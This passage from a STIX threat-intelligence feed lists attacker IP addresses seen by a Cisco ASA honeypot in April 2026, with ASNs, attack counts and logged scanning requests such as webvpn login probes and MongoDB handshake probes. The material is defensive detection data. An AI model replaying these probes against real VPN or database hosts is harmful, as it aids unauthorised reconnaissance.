      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ff61e16d-dd51-41f4-9bc6-4b5dc89836cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T07:48:10.395Z",
          "last_seen": "2026-04-21T15:08:56.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--82f7d013-fd32-456f-94a3-1918923e4c9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T08:19:30.981Z",
          "last_seen": "2026-04-28T03:56:01.883Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6d05f21c-de34-4b3d-aab1-e6f8c8b3314f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 19,
          "first_seen": "2026-04-13T08:13:40.912Z",
          "last_seen": "2026-04-30T00:06:48.842Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5d328eea-d163-4b30-8259-9145e86cd872",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-13T08:19:09.590Z",
          "last_seen": "2026-04-27T12:20:07.293Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--969ab26e-3504-4f56-86cf-45c75f56a49a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.159.127.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T07:36:43.367Z",
          "last_seen": "2026-04-14T01:05:21.915Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T08:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5a11b60a-caf3-45ca-b6e2-24ebf8c72354",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.252.189.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:20:20.000Z",
      "valid_until": "2026-05-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T07:47:07.476Z",
          "last_seen": "2026-04-14T01:07:38.579Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--9440d1d0-2e10-4a26-8972-e5a833a580df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T09:17:01.810Z",
          "last_seen": "2026-04-18T18:50:30.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a9fe48c6-232b-48fa-ad83-bfbe0ef20a72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.229.238.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-13T08:48:58.911Z",
          "last_seen": "2026-04-15T00:46:08.254Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e27d0114-1a28-47a7-8bdc-24de207ef79c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.252.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T08:54:26.628Z",
          "last_seen": "2026-04-13T08:54:42.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: AU; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--31c2cabd-a662-4d84-b230-9374a293f3d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.64.184.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T09:04:32.242Z",
          "last_seen": "2026-04-13T09:04:46.220Z",
          "country": "Australia",
          "country_code": "AU",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "code 400",
            "\"*1\" 400 -",
            "\"4\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00dd\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001f\u0000\u0000\u0000\u0010hello\u0000\u0001\u0000\u0000\u0000\u0002$db\u0000\u0006\u0000\u0000\u0000admin\u0000\u0000\" 400 -",
            "\":\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00d4\u0007\u0000\u0000\u0000\u0000\u0000\u0000admin.$cmd\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0013\u0000\u0000\u0000\u0010isMaster\u0000\u0001\u0000\u0000\u0000\u0000\" 400 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6849feeb-0eb9-4e42-b8a2-9b2cc94b6dc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.17.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T08:37:07.700Z",
          "last_seen": "2026-04-15T02:18:26.084Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--a063647b-b5bb-4440-9427-ddb8ecb3803c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.189.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 37,
          "first_seen": "2026-04-13T08:30:09.048Z",
          "last_seen": "2026-04-13T17:17:08.114Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--0e6e661c-5b66-4dca-9efe-15e9dc89cef9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.194.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 35,
          "first_seen": "2026-04-13T08:25:14.692Z",
          "last_seen": "2026-04-14T01:31:03.563Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--5f2e90c9-1926-4e95-8ccc-3ccd2135246c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.58.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T08:29:21.878Z",
          "last_seen": "2026-04-13T13:03:45.294Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--0ac9bc85-04ed-4322-b7b5-4cf02482b0ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.252.170.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-13T08:50:39.797Z",
          "last_seen": "2026-04-15T05:33:30.596Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--fdcb505e-0845-4fef-8fc8-88fe8cb3c74b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T09:01:52.513Z",
          "last_seen": "2026-04-25T10:17:22.921Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6617eb04-b745-4f39-8e11-835313cfdf1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.35.127.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T08:25:39.049Z",
          "last_seen": "2026-04-13T08:25:55.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6e2cebe3-7e06-4b40-adac-5cbe3bdefe16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T09:01:28.609Z",
          "last_seen": "2026-04-21T17:04:02.532Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bf0be886-08b2-4471-8295-e3ae89c0c4c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T08:43:16.416Z",
          "last_seen": "2026-04-30T01:24:30.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
